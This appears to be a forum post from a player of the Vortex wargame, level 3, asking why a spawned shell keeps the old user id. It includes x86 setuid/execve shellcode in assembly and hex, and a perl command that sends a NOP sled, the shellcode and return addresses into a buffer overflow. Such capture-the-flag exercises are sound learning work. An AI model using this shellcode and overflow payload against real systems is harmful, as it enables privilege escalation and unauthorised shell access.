Hi there. I have a problem, and I couldn't connect to the IRC(not at home, and someone's blocking IRC, ARGGG...). Im on level03, vortex. I was able to spawn a shell, however, my shell was still id vortex3, even thought i used setuid in my shellcode. Here is the asm of my shell code: BITS 32 xor eax, eax xor ebx, ebx xor ecx, ecx mov al, 23 mov bx, 506;id of vortex04 int 0x80 jmp short do_call jmp_back: pop ebx xor eax, eax mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 do_call: call jmp_back shell: db "/bin/sh" Here is the hex of my shellcode: char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\x66\xbb\xfa\x01\xcd\x80\xeb" "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b" "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68"; Here is what i run: ./level3 "`perl -e 'print "\x90"x78,"\x31\xc0\x31\xdb\x31\xc9\xb0\x17\x66\xbb\xfa\x01\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68","\x98\x94\x04\x08"x4'`" it spawns a shell, just not with id vortex 04, but with id vortex03.